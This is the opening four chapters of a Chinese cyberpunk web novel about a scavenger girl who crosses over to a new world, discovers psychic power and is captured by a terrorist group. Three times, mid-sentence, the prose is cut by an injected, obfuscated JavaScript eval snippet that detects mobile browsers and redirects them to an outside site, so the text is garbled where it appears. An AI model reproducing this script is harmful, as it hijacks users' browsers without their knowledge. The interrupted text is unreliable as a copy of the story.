《在赛博世界里我暴富了》 1. 第一章 阴冷潮湿的夜晚,绵密针尖的细雨刺进土地,成堆的垃圾山散发着腐臭发霉的气味。 几艘飞艇在垃圾山上空盘旋嗡鸣,乌黑的垃圾从底板舱口倾倒而出,蓝红色的灯光交映闪个不停。 良久,略微刺耳的机械舱门声响起。 “垃圾倾倒完毕,舱口已关闭——”温柔的机械女音响起。 引擎声远去,一小团黑影不知从哪里钻出。 雨水打湿她的额头,宋拾急忙拉紧残破的雨衣,嘴里叼着手电筒,滋啦一声电流,明亮的白光投向垃圾山。 潮湿的霉臭,动物尸体腐烂的腥臭,铁锈味混杂一起,熏得宋拾差点两眼一黑。 半个月前,宋拾穿越到了这个陌生的地方,从一个手撕丧尸的异能大佬,变成了谁都能撕的小孩。 这个世界和她的世界完全不同。巨大的全息投影在压抑昏暗的天空下,艳丽的明星广告,制药公司的广告,义肢广告,机器人新一轮的革新…… 高空疾驰的悬浮车,拥挤的钢铁建筑群,花花绿绿的霓虹灯,被窃走的井盖,街上的清理机器人。 但宋拾天生没有享福的命,她所在的城市是最落后的久藤市,用联邦网的话来说,狗来了都得饿死的地方。 狗会饿死但她不会。 她会捡垃圾。 眼前的垃圾山上堆满了高等公民不要的过期营养液,过期的药物,磨损报废的义肢零件。 不论白天夜晚总有大批人争抢垃圾,尤其飞艇到来时,哄抢着,拥挤着,空中掉落的巨大铁疙瘩总能带走几个心急者的灵魂。 宋拾抢不过他们,八岁小孩的身体别说抢了,能保住性命便不错了,只能跟在后面捡捡零碎的垃圾。 也许是上天垂怜,天空飘下一场令人闻之色变的甜雨,据说动物淋上一会儿身体就会被它吞噬,从透明直至到完全消失。 也正因如此,此时垃圾山上空空荡荡,不见半点人影。 现在不捡,更待何时! 她拖着被风灌满的蛇皮袋,麻利地攀上垃圾山,嘴里叼的手电筒飞速一一扫过。 只要是金属,她都一股脑地往蛇皮袋里塞,金属一类的东西都能在市上换到不错的价格。 突然,白色的电筒光照到反射的玻璃瓶,她眼前一亮,伸手拿出破碎的试管,透明的液体在瓶中流淌。 她抚平试管上皱巴的便贴,“奥罗拉集团——低浓度营养液”的字样暴露在灯光下。 宋拾弯了弯眉,吐出口中的电筒,拔掉瓶塞,仰头倒入口中。 没什么味道,和水有点像,但的确有了诡异的饱腹感,绞痛感得到了些许缓解。 一箱的营养液破损了几个,宋拾连灌几瓶,僵冷的手脚终于逐渐回暖。 她将剩下的营养液小心翼翼装进新拿出来的袋子中,听着玻璃瓶叮叮当当碰撞发出的声响,宋拾满意地扯嘴笑。 这个雨她也不敢淋太久,正准备原路返回,电筒光突然照到什么,反光得刺眼,眼角淌出生理泪水。 她抬臂蹭了下眼角,眯眼望去,又迅速瞪大眼睛。 发财了! 银色的机械手臂静静躺在垃圾堆里,它看起来完好无损,每个反射的光泽都像是在对她勾手指。 她激动得像原始森林的猴子,恨不得上蹿下跳。 宋拾丢下手里的袋子,半小跑奔向机械手臂,就快接近时,脚下被什么东西一绊,结结实实摔在垃圾上。 手电筒磕在地上,刺啦一声,熄火罢工。 近距离接触垃圾的确不好闻,干呕了几下,她又怕把营养液呕出来,急忙屏息,捡起手电筒站起身,确认身上没摔出伤才舒了口气。 手电筒坏了,宋拾靠着模糊的月色依稀辨别到底是什么东西绊的她,月色下,一截腿就这么横拦在她身前。 在末日见惯了各种马赛克的场景的宋拾,只会蹲下找找这截腿的主人身上有没有什么好东西。 双手在冰冷的尸体上摸索着,突然指尖被针尖刺破,宋拾龇牙咧嘴地摸出个胸针。 指腹摩挲着隐约凸起的字样花纹,摸不出个所以然,宋拾遗憾收起胸针,能卖钱就行了。 这次她长了记性,小心翼翼挪过去捡起机械手臂。 隐约间,微不可闻的呼吸声灌入耳朵。 来自末日的生存本能,她立即察觉到不对劲,伸出的手僵悬在半空。 果不其然,身后响起声古怪的低吼。 类似野兽挤压喉咙发出的低吼,以及金属垃圾碰撞的声响,在黑夜中尤为明显。 有东西在靠近她。 不是人类。 宋拾的后背冻僵了般,血管内的血液迅速倒流凝结,心脏擂鼓似的几乎要跳出嗓子眼。 不出意外是变异物种。 她前些天听附近的流浪汉说过些有关变异物种的事情。有人说它们从辐射区里爬出,也有人说它们来自被污染的深海。 但她从没想到过有朝一日自己会碰上啊! “吼——” 低吼声骤然扩大,感受到一阵凛冽的冷风袭来,宋拾弹射站起,拽着蛇皮袋拔腿就跑。 凹凸不平的垃圾让她好几次险些摔倒在地,蛇皮袋里营养液撞得叮当乱响,宋拾也顾不上它碎不碎的。 再跑慢点,她就要碎了。 “吼!” 刹那间,追在宋拾身后的巨大黑影唰地扑来。 “咚!”一股强劲的力道拍上她的后背,力道几乎要震碎五脏六腑。 宋拾脑袋狠狠砸在凸起的垃圾上,撞得她眼冒金星。 来不及爬起,冰冷的獠牙抵上了她脆弱的脖颈。 血管里血液几乎倒流,在身体里剧烈循环,死亡的恐惧让她无法控制地战栗。 陡然间,一道明亮的蓝光凝聚爆发,像是有人在黑夜里快速开灯,刺眼的光芒一闪而过。 随之,后背骤然一轻。 她愣住,刚才的光是什么?好像是她身上的…… 痛苦地嘶吼在背后响起,宋拾迅速站起身,借着月光她也看清了追她的到底是个什么东西。 兔头人身,兔脸上只长着一张狰狞的嘴,露出尖锐的獠牙,它浑身通体发白,没有毛发,四肢修长得诡异。 它猛烈地挣扎了几下,嘴里吐出乌黑的粘稠液体,最终死掉了,一动不动。 宋拾恶寒。 …… 回到暂住的废墟,宋拾将那箱烂的稀碎的营养液放到隐蔽的角落里,才将身上稀碎的雨衣小心脱下放到身边。 回想起兔头人身的变异物种,宋拾便是一阵劫后逃生的后怕。 她的世界有丧尸,这个世界有变异物种,她宋拾真是天生送死的命。 她揉了揉撞到的额头,此时上面已经鼓起了个包,揉着揉着她又想起那道救命的蓝光。 百思不得其解后,她晃晃脑袋,决定不再想想不通的事情。 她打着哈欠将大大小小的废品倒在地上,清点完毕后心满意足抱着机械手臂走到草垛上躺下,疲惫地合上眼皮。 第二天宋拾起了个大早。 天还没亮,但雨停了,已经有不少模糊的身影飘荡在垃圾场上,她背着蛇皮袋猫着身体避开那些人。 义肢店的卷门大开,店内亮着一盏刺眼的白炽灯。老板身着一身熨帖的西装,金丝边眼镜,与久藤市是那么的格格不入。 他一眼就看见宋拾朝店里进,笑容斯文:“你好。” 宋拾也不跟他废话,扯开蛇皮袋,在白炽灯下金属反射着冰冷的光泽。 老板眉毛一扬,大步走到宋拾面前拿起那只机械手臂,“好东西,是好东西。” 他念叨着,突然警觉抬起头,手指一抬,卷门迅速自动降落反锁。 宋拾心里咯噔一声,不会要杀人越货吧。她手伸进蛇皮袋,捏住一个长条状的金属,低眉观察。 老板见她身体绷直,笑出声:“放轻松,我是害怕有人过来,这么好的东西,要有本事护住才行。” 宋拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013774|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松了口气,问道:“你给多少?” 他没说话,走到案前操纵仪器飞速拆了手臂,仔细看了一遍又一遍,就在宋拾忍不住要开口时,才抬头。 “本店一向讲究诚信,一共一万三千四百五十二星币。” 宋拾也不清楚市场价,心中暗暗衡量,老板又继续道:“终端没有吧?没有终端,拿这么多钱可不安全啊。” 说完,不知从哪犄角旮旯里翻出一个全新的终端,大方潇洒一挥手。 老板眼睛眯起,笑得像只狐狸,“这个给你打九五折,只要四百五十二星币。” 一万三千四百五十星币,现在只剩下一万三千星币。 麻了,奸商无疑。 但奈何宋拾现在是个手无缚鸡之力的孩子,只能点头接过终端。 交易结束后,老板拉开卷帘门,亲切地对宋拾挥手:“客人记得常来哦。” 看着星币到账的信息,宋拾忍不住扯起嘴角,她现在也算是小富一把啦。 没走几步,她抬头,发现天空上的全息投影的广告换了。 上面投影着:精神力检测,废角巷。检测费用为一万星币,,若检测到精神力,费用退还。 很简洁,但对于刚来半个月的宋拾来说——看不懂。 像是解释一般,全息投影丝滑地切换到另一页,密密麻麻的字看得文盲宋拾发怵。 她只能耐着性子,一点点看下去。 所谓的精神检测是联邦组织的大型全民检测,每十年一次,普通人逆天改命的机会。 一旦被检测到存在精神力,会直接一条龙服务送到联邦专门的培训学校,毕业后会分配到重要岗位上,是属于这个时代专有的铁饭碗。 精神师无论在哪都是行走的香饽饽。他们有着超越仿生机器人的身体素质,超强的心理素质,能够释放堪比高科技武器的精神术法。 全息投影再次变回初始的简洁页面。 精神师。 宋拾小声默念,大编制,一条龙,这谁能够不心动。 但检测费用直接劝退了她,那可是一万星币啊! 她走走停停,纠结地望着广告,咬了咬牙。搏一搏,万一单车真变摩托了呢? 来到废角巷,天已经亮透,但仍阴着,厚重的云层看起来随时可能下雨。宋拾看到一条巨长的队伍,男女老少都融在长队中。 空中飘散着机械提示音:“检测中——检测完毕,无精神力。” 宋拾老老实实排在后面。 扫了终端后,望着屏幕上的一万星币,心都在滴血。 机械音有点耳熟,很像昨晚垃圾飞艇上的播报女声。 “检测完毕,无精神力。” “检测完毕,无精神力。” 时间逐渐流逝,悬在半空的全息投影上的时间由早上六点慢慢变成晚上九点,宋拾活动了下僵硬酸痛的脚后跟。 “检测完毕,无精神力。” 这句话宋拾都快听出茧子了,如果不是知道精神师稀少,她甚至要怀疑这台破机器是不是只会这一句。 检测官们显然同样疲乏,垂拉着眼皮看着人来人往,检测仪始终播报着那句“无精神力”。 “要我说,久藤市这个地方根本没必要测。”一名胖检测官讥讽扯动嘴唇,“一群下贱的劣等基因。” 坐在最中间的检测官眉峰一蹙,她冷冷扫过那名检测官,声音严厉:“夫克多,注意言行。” “检测完毕,无精神力。” 胖检测官嗤笑。 特瑞莎没再理他,扭头面向眼前亚洲面孔的女孩,她轻轻微笑,严肃的脸上出现岁月的褶皱。 “小姑娘,到你了。” 宋拾抬头望了望头顶的仪器,抿了抿唇。 听了一天的“无精神力”,宋拾已经猜到了结局,但钱都交了,还排了整整一天的队,多少还是有些期待结果。 温柔的机械女声再次播报: “现在开始检测,检测中——” 2. 第二章 “开始检测,检测中——发现异常,发现异常!”机械音像失控般发出警报。 出乎意料的结果。 众人的目光瞬间聚焦在小女孩身上。 宋拾惊愕抬头,警报的灯光刺眼夺目,像极了迪斯科的闪光球灯。 发现异常? 特瑞莎拧眉,正要在一堆数据中搜索什么时,警报声却戛然而止,温柔的机械女声仿佛从未失控过般,缓缓播报: “检测完毕,精神力者,精神力数值——不详。” 宋拾指尖微动,目光看向屏幕,数值不详会不会跟这个身体有关。 这个身体到底什么来头? 胖检测官站起身,嫌弃瞥了眼宋拾:“精神力数值不详?会不会是机器出现了什么故障?” “检测机器都是最新的一批。”特瑞莎见惯了大风大浪,对着女孩微笑,“你叫什么名字。” “宋拾。”女孩垂下眼眸,右脚轻轻踩在左脚上,不会是空欢喜一场吧。 “你介意再测一遍吗?” “不介意的,长官。”宋拾老实规矩地再次测了一遍,仪器开始运作。 “检测中——检测完毕,精神力者,精神力数值不详。” 机械声在耳边回响,宋拾泄了气,一万星币打了水漂,她还是收拾收拾继续捡垃圾吧。 这个数值不详,需要回联邦后再查查……特瑞莎指尖轻点桌面,思索片刻道:“宋拾,对吧?你愿意成为联邦的一部分吗?” 营养液也要省着点喝了——什么?宋拾猛地抬头,她不用捡垃圾了? …… 宋拾被带到悬浮的无人车上,像旧时代的房车,有客厅和几间屋子,行驶平稳得连桌上水杯里的水都纹丝未动。 因为特瑞莎还在忙检测的事情,护送她的是那个胖检测官,臭着脸,站的离她有十米远,仿佛她身上有什么瘟疫跳蚤。 胖检测官脸上挂着不耐,在门上刷了下卡,宋拾这才看见他的手泛着金属的冷光。 基因优化,机械器官,在这个世界十分常见,甚至机械改造过后的身体更加灵活方便,不论是在生活还是工作上,方便效率程度远超过人体自配的器官。 未机械改造的普通人,要么是不屑改装的上等贵族,要么就是像宋拾这样没钱安装的穷逼。 肚子突然咕噜叫起,胃绞痛一团,宋拾想起被自己藏在角落里的营养液,不由地心也跟着痛。 “屋里有营养液,”胖检测官皱着鼻子,嫌弃地退了几步,“预计凌晨三点半抵达联邦市,你最好洗一下澡。” 上等人就是讲究,宋拾暗自腹诽,应了声,接过房卡后便进了屋。 房间不大,但是五脏俱全,整洁干净的床铺,办公桌,独立卫浴。 本想坐在床上,但透过落地镜看见灰头土脸的自己,索性坐在了办公椅上,拿起桌子上的营养液猛灌。 喝了快有五瓶后,她心满意足地打了个饱嗝,对着镜子一笑,镜子中脏兮兮的女孩也跟着咧嘴。 好像是有点脏。 她吸了吸身上的味道,险些吐出来,像是发霉的臭袜子泡在臭水沟里的味道,她顿时原谅讲究的上等人了。 进入卫生间,宋拾上看下看左看右看,愣是没看见花洒,独自摸索半天,仓促地洗完了澡。 套上房间内配的睡衣,松松垮垮套在身上,她走到落地镜前。 小麦色的皮肤,瘦到脱相的脸上挂着一双圆圆的眼珠,再加上干瘦的身板,怎么看怎么像大眼外星人。 宋拾嫌弃抿唇,跑到床上躺下,打开终端。 她像个初次接触智能手机的老人,摆弄了半天才找到自己的账户,上面显示的一万三千星币带给她莫大的安全感。 突然,主页面出现一条邮件,标题是“教你两天收入过万”。 什么年代了还玩诈骗,谁信啊! 宋拾吐槽着,手指不受控制戳开了邮件,万一是真的呢? 屏幕上陡然蹦出黑色的大字。 “亲爱的陌生人,欢迎来到本论坛,您将享受到最快最准确的致富信息密码,请问是否注册账号?” 宋拾脑袋里分化出两个声音,一个说“是网络诈骗,不能信!”,另一个叫嚣着“万一是真的呢?!” 于是两个声音吵的不可开交,宋拾毫不犹豫地点击注册。 声音消失,世界安静下来。 “恭喜您成功注册,昵称随机取名为:今天捡垃圾了吗,是否更改?” 宋拾觉得还挺贴合的,点了“否”。 加载的小菊花旋转过后,出现了绿色简约的论坛,紧接着,一条弹窗蹦出,“今天捡垃圾了吗,恭喜您注册成功,现已触发新手任务。” 任务?难不成真是诈骗软件。 宋拾皱眉下意识退出,但不论她怎么点,页面始终无法退出。 屏幕画面一转。 “【新手任务】:找出胸针的来历,限时十分钟,奖励一千星币。友情提示,您可以拒绝,但一千星币为什么不赚呢?” 宋拾在最后一句话里,甚至看到了……俏皮? 不过,胸针?什么胸针……宋拾陡然间想起什么,揪起扔在地上的脏衣服,往口袋里摸了摸,那枚昨晚捡的胸针躺在她的手心。 宋拾霎时汗毛耸立,后背发凉,一丝丝恐惧浮上心口。 捡到胸针要比买到终端还早,她在中途也并没有拿出来过,这个论坛为什么会知道她捡到了胸针。 几乎瞬间,她立刻动手要卸载这个论坛,可不管怎么将它拖进垃圾桶,这个绿色的软件始终牢牢霸占在屏幕上。 夜深,窗外的模糊场景飞速变化,雾蒙蒙的雨无声拍打在玻璃窗上。 机械铁门上,浮现暗红色的时间字幕“12:00”。 屏幕的白光照在女孩面无表情的脸上,她现在很穷,还做不到将终端丢掉,不如……先按照它的要求来? 这个胸针她没见过,但互联网一定见过——点开联邦搜索器,拍照搜索。 主页上莫名其妙出现“联邦学院”的词条,宋拾戳开,一张恢弘大气的学校门口的照片映入眼帘。 “联邦学院,坐落于联邦市中心,全联邦最大也是唯一的精神师学校。” 宋拾眉心一跳,划了划屏幕,没了,只有这几个字和几张图,图上给的信息更是少的可怜。 看到最一张图,她眼睛陡然一亮。 优雅矜贵的男人喝着茶,白色的长发披肩,毫无波澜的金眸直视镜头。 他服帖的制服上别着校徽,一个印着金色的机械玫瑰花校徽,玫瑰刺围满校徽的边角,锋利又张扬。 金色的机械玫瑰花,玫瑰刺的边角,和她手里的胸针一模一样。 屏幕闪了闪,弹窗蹦出。 “恭喜您完成新手任务,一千星币已到账,请您查收。” 这么简单?宋拾半信半疑戳开账户,上面显示四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013775|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千星币。 居然是真的?她不可置信地揉了揉眼眶,反复确认余额。 看来这个论坛并没有骗人,她突然跃跃欲试起来,虽然论坛的确古怪,但在实实在在的钱的衬托下,好像也不是那么恐怖了。 再次返回论坛,弹窗就没有再出现了,最新的帖子是“联邦学生失踪事件”。 楼主:4033年3月23号晚,由于安保不严,一名携带炸弹的酒鬼溜进伊索纳德号,随即发生爆破,伊索纳德号损毁报废,医疗物资损毁若干,安防员共计牺牲三十一名。虽目前仍未找到确凿证据,但其惯用手段,基本可以确定幕后黑手是回溯。 楼主:当晚,联邦学院的数名学生失踪,但官方一直压着消息,我也是从小道消息里得知的。 宋拾看了眼现在的时间,4033年3月25号12:11。 爆破和失踪发生在3月23号晚上,那一天,就是她在垃圾山捡到胸针的时候,时间对上了。 她仔细回想了一下,那天晚上投掷垃圾的飞艇上,和以往的垃圾飞艇好像有点不一样,是哪里不一样……宋拾绞尽脑汁想了半天,依旧没有想出来。 铁皮猫:楼主能介绍一下回溯吗?我新来的。 楼主回复铁皮猫:?回溯你不知道?我怀疑你是外星移民的,说,大锤加小锤等于多少钱? 铁皮猫:…… 3349回复铁皮猫: 由一群底层人组成,身上几乎都是义肢,除了大脑。他们烧杀抢掠,无恶不作,并以折磨精神师为乐,个子高的则被削去头脚,矮个子则会被拉长,直到身体分成两半。普通人也难逃幸免,回溯会将刀刨开他们的腹部,将炸弹放进去,让他们去热闹的地方,随即——蹦——爆炸。 铁皮猫回复3349:谢谢,怪恐怖的,那他们有没有什么象征的东西?我好躲得远远的。 宋拾看着这个叫铁皮猫的用户,脑袋里产生出莫名的想法,这人不会跟她一样是穿越过来的吧。 3349回复铁皮猫:不客气。象征的标志是有的,“X”,注意安全。 铁皮猫:好的好的,谢谢你!说实话,我还以为这个帖子都是和我一样的人呢…… 一样的人? 宋拾基本推断这个铁皮猫也是穿越者,但这个铁皮猫未免有点心大,完全不懂掩饰,应该不是和她同一个世界吧。 好骗且单纯,被卖了还在帮人数钱。宋拾喜欢和这种人交流。 她私戳铁皮猫,试探性地打上:我想,我和你是一样的。 屏幕光照在脸上,她蜷缩在床边等了半晌,见对方迟迟未回复,宋拾又退到论坛主页里。 “嘣嘣嘣——” 连续的枪响爆炸般出现,吓得宋拾心脏猛一收紧。 车子遽然漂移,险些翻车,随即门外传来胖检测官仓促的脚步声。 窗外霎时亮起明亮的灯光,照得屋内亮如白昼,宋拾下意识眯起眼睛,一架印着“X”的飞艇悬在不远处。 飞艇上站着几个持枪的人,不停开枪扫射,他们的视线移到宋拾所在的房间,狞笑着往里开了几枪。 “嘣——刺啦——”玻璃破碎。 躲在床底的宋拾大口呼吸,被冷汗浸透的睡衣紧紧贴在她后背。 感谢她在末日养成的本能,能够瞬间察觉到危险,不然她真的要命葬于此。 此时,本息屏的终端却突然亮起。 “触发任务。” 3. 第三章 “触发任务。” 宋拾盯着屏幕暗骂,破论坛真会挑时间。 “【进阶任务】精神师检测刚刚开始,一群钢铁铸成的家伙怎么会肯放弃这次良机?他们早早埋伏在通往联邦市的必经地段,伺机而动。新晋精神师,请活下来。奖励为一万星币。” 窗外的雨越下越大,悬浮车逃命疾驰,寒风凛冽呼啸,似乎也掩盖住了呼救声。 机械脚掌重重踩在飞艇上,男人佩戴着防弹头盔,浑身上下几乎都是钢铁塑造,找不到人类的皮肤。 站在他身旁的,同样是机械化的人。 他们蹬地一跃而起,铁脚掌下喷出淡蓝色的气流,托着他们飞跃至飞驰的车顶。 咚咚—— 车顶的脚步声又响又近,躲在床下的宋拾咬牙,恐怖组织的人就在她房间上面。 想起论坛里的描述,她不由握紧终端,指节泛白。 死马当活马医。 宋拾手速飞快发了个求助贴,最后一个字符刚刚落下,车顶剧烈晃动。 刺耳的电锯声震进耳膜里,像是吹起了死亡的号角。 “咣当!” 一大块铁皮重重砸落,回溯们一个接一个跳进狭窄的屋里。 为首的男人轻触头盔。 “墨格拉,检测活体。” 单调机械的电子音响起:“乐意为您效劳。” …… 房门唰地被打开,胖检测官满头大汗哆嗦着身体蜷缩在墙角,明亮的灯光洒进来,他下意识要大喊。 发现是宋拾,他急忙捂住嘴,硬生生咽下将要蹦出嗓子眼的尖叫,怨恨不满地瞪她。 宋拾也不理他,转头翻箱倒柜找东西。 “你动作小点,别惊动了回溯!你要是想死,可别带上我!”他上牙和下牙不受控制打颤,神经兮兮往外瞅。 宋拾懒得和他废话,“有枪吗?” “有……在在我这里。”他从床底挪出两把精巧的枪,“但是有枪也没用啊……” “给我一把。” 宋拾手里终端屏幕再度亮起,她发的帖子有人回复了。 “轰隆——”外面传来剧烈刺耳的铁皮撞击的声响。 回溯的人进车里了。 狂风和暴雨顺着车顶的窟窿进入车内,头盔屏上密密麻麻闪过无数数据。 “检测结果——除去回溯,车内共有一个生命体。” 一个?头盔下的人皱了皱眉,怎么会只有一个人。他大步走出房间,挥手示意其他人跟上。 “叮咚——” 车厢内措不及防响起人工智能的提示音,回溯们快速举起枪对准喇叭口。 人工智能温柔的嗓音:“检测到车体受损,是否要开启防护屏障?” 随即,像是印证般,阴黑的天空炸出阵阵闷雷。暴雨顺着车顶的窟窿打湿床铺,桌子上的物品被密集的雨打歪。 …… 刚躲进车顶夹层的宋拾大气也不敢出,透过一小块玻璃堪堪看到下面。 终端屏幕画面停留在她刚才发的求助帖收到的回复上。 3349:根据你的描述,我建议你赶快逃到车顶夹层,那里检测系统查不到,这是个冷知识,很少有人知道,但不代表你就是安全的。孩子,我会替你祷告,愿祂庇佑你。 3349:哦,对了,夹层很狭小,希望你能钻进去。 夹层确狭窄逼仄,但好在宋拾又柴又瘦,并没费什么力气就爬进来了,甚至有个隐蔽的小玻璃,可以观察底下的情况。 今天捡垃圾了吗回复3349:回溯多久会离开? 消息刚发完,对面的回复很快就来了,像是一直等着她一样。 3349回复吗今天捡垃圾了吗:看来你已经成功进入夹层了,恭喜你又多活了一会儿。回溯一般杀完人就会离开,但很不幸的是,他们杀完人后会把一切东西都销毁掉,包括车。 怎么才能离开? 宋拾用舌尖抵了抵腮帮子,攥紧手里的枪,她刚才查看弹匣,只有三发。 下面的回溯都是铁皮疙瘩,还戴着防弹头盔,三发子弹给人家刮痧还差不多。 突然,底下爆发杀猪般惊恐的尖叫。 亮如白昼的灯光下,浓艳的红色在墙上厚涂出一朵绮丽的血花。 胖检测官跪在地上,机械手攥住另只只剩手腕的胳膊,惊恐扭曲的面庞上爬满豆大的汗珠,离他不远处的是一只仍在痉挛抽搐的手。 “要对称嘛。”站在最前面的回溯人员道,“才刚刚开始,别那么紧张。” 明明隔着板子,她却仿佛闻到了隐约的血锈味。 “求、求求你们,求求你们放过我!”曾经高高在上的检测官此刻像条低贱的狗,头贴地板匍匐。 那人把玩手中的匕首,独属于金属的冷光在空中跳跃,漫不经心轻笑道:“检测官?我很好奇这个车里怎么会只有检测官。” 糟糕,宋拾心脏顿时漏了一拍。 胖检测官不可置信蓦地抬头:“怎么可——” “刹——” 车子遽然大幅度刹车,胖检测官的身体不受控制猛地前倾,一头栽在坚固的地板上,顿时血流如注。 平静的机械女音道: “警报警报,根据联邦最新天气预报,前方有特大暴风雨,宙启建议您等待暴雨结束后再行驶。” 心脏差点跳出嗓子眼的宋拾这才缓缓舒了口气,同时一股莫名的感觉爬上后脊。 但未等她细想,只见回溯人员纷纷整齐划一单膝跪地,恭敬垂着头。 皮靴踩在地板的声响,伴着细碎的金属摩挲声,一步步,正好走到宋拾偷窥的小玻璃下。 男人身披黑色的裘皮大衣,戴着墨黑色的皮手套,身形却是消瘦单薄,皮绒的衬托下,下巴显得格外尖锐。 他半握拳放在发紫的唇边,轻轻咳嗽了几声,脸色苍白。 “西索斯大人,您怎么来了?”手下问道。 “出来活动活动,也不能总待在疗养仓里。”西索斯慢条斯理道,扫了眼地上胖检测官的尸体,“只有一个?” 手下神色迟疑:“根据墨格拉的检测,只有一个检测官。但……他似乎很惊讶只有他一个,可是车子刚才紧急刹车避嫌,他一头撞死在地上了。” “这样啊……”西索斯的目光缓缓向上瞥去。 宋拾急忙歪身,心脏再次擂鼓,危险雷达疯狂滴滴警报,生存本能告诉她,这个人绝对要比看起来的恐怖。 西索斯牵起唇角,伸手轻指上面,“有些地方墨格拉检测不到,万一藏着什么小老鼠……” 宋拾内心是尖叫的,人是灵魂出窍的。怎么办怎么办怎么办……她看了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013776|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中的枪,三发,她必须要想办法利用好这三发。 风灌进来的有点多了,西索斯又咳嗽了几下,他坐在椅子上静目养神,极致苍白的脸让他看起来不像真人。 “大人,抓到了。”手下扯着一个女孩走到他面前,女孩通讯的终端被其他人拿着。 女孩身上只套着件薄睡衣,赤脚踩在冰凉的地面上,由于恐惧,瘦小的身子不停发颤。 西索斯睁开眼,目光并未在她身上停留,语气随意轻慢:“杀了就好,不用特地带到我面前。” 手下松开手,正要举枪时,原本瑟瑟发抖的女孩突然爆发扑向西索科,动作干脆地扼住他的咽喉,不知从哪掏出一把枪,对准他的太阳穴。 咔嚓——所有枪齐刷刷对准她。 女孩沉着脸,脸上没有半点害怕的神色:“别过来,不然我就杀了他。” “哈哈……”西索斯闷声笑,没笑几下又咳了起来,对着手下道,“听她的,放下枪。” 回溯们立即放下枪,但目光始终聚焦在宋拾身上。 “让他们都下车,不然我杀了你。”宋拾皱眉,警惕地盯着他们。 西索斯的指尖轻点扶手,没头没尾地问了句:“你知道吗?” “什么?” “轰隆”车窗外电闪雷鸣。西索斯抬手要掐住她的手腕,宋拾比他更快,完美躲过,另一只狠狠扼紧他的脖颈,西索科闷哼一声。 回溯们再次举枪对准她。 他煞有其事地叹了口气:“真遗憾啊。” 到现在这个局面,宋拾只有赌一把,但无论是哪个结果,她都不会有什么好结局,即便是赌赢,她活下来了,回溯后面也会疯狂追杀她,但如果不赌,就是直接被杀。 宋拾高声重复道:“让你的手下下车,离开这里。” 西索斯抚上扼在他脖颈上的手肘,“如果,有第二种选择呢?” “第二种选择?” 宋拾生怕他又耍什么花招,浑身肌肉绷紧。 “加入回溯,我相信这对你来说是最好的选择。” 他的笑容扩大,“小朋友,你很勇敢,也很聪明,说实话你挺令我惊讶的,或许回溯需要一点新鲜血液。” 骗小孩呢?宋拾嘲弄地看着他:“我凭什么相信你?” 西索斯收起笑容,“回溯需要一个卧底,潜伏在联邦的卧底,而精神师是最好的选择,这个理由可以吗?”他用眼神示意手下。 咣当一声,回溯他们迅速丢掉手中的枪,纷纷后撤几步转过身背对着宋拾。 宋拾拿不准西索斯到底是怎么想的,她更揣测不出他话里有几分真假,她仿佛置身在一场赌局上,她是赌徒,而筹码是她的命。 “你可以相信我,回溯一向讲究诚信。” 相信他,还是不相信? 心脏剧烈跳动着,宋拾嗓子发紧发干,她瞥了眼窗外,狂风呼啸,树木被风撕扯成狰狞的形状。 傻子才会信! “抱歉,上一个告诉我讲究诚信的人还捞了我好一笔钱。而且,你的这个想法听起来更像是临时想到的,如果需要精神师,以回溯来的手段,早就办到了吧?” 西索斯沉默半晌,挑眉道:“还真有点小聪明。我想我改变主意了,请允许我向你发出真正的邀请。” “加入回溯,不然杀了你。” 4. 第四章 缓慢滴答的电子音悄悄钻进耳蜗,混沌的意识逐渐复苏。 回溯…… 脑袋里陡然闪过几个画面,宋拾头疼欲裂,冷汗直冒,太阳穴突突阵痛,暂时遗忘的记忆再度被唤起…… “加入回溯,不然杀了你。” 男人苍白消瘦的脸上挂着淡然的笑意,未等她回复,他突然出手反扣住她的胳膊,力气大得不像体弱的人。 接着有人拿着电棍抵在她的腰间。 老登真会装,宋拾咬牙。 肩膀上还有未消弭的痛意。 所以,她现在还活着? 宋拾掀起沉重无力的眼皮,刺目的白光照得她再度合上眼,适应后才环顾四周。 玻璃罩挡在眼前,视线受制,只能看见明亮的天花板,呼吸灯似地缓慢过度成橘黄色的暖光。 和一些藏的隐蔽的摄像头和枪口。 突然,一个不紧不慢的脚步声靠近,步步踩在宋拾心脏跳动的节拍上。 “感觉怎么样?” 玻璃罩外出现一张和蔼可亲的亚洲女人的脸,身穿白大褂,对着她浅浅微笑。 见宋拾迟迟没有反应,她伸出戴着医疗手套的五指,道:“看来还需要再缓一缓,来,这是什么?” 宋拾张开唇,嗓音嘶哑:“手指,五根……” “很好,孩子。”她说着,抬手按了下按钮,随着电子机械开启的声音,玻璃罩收起。 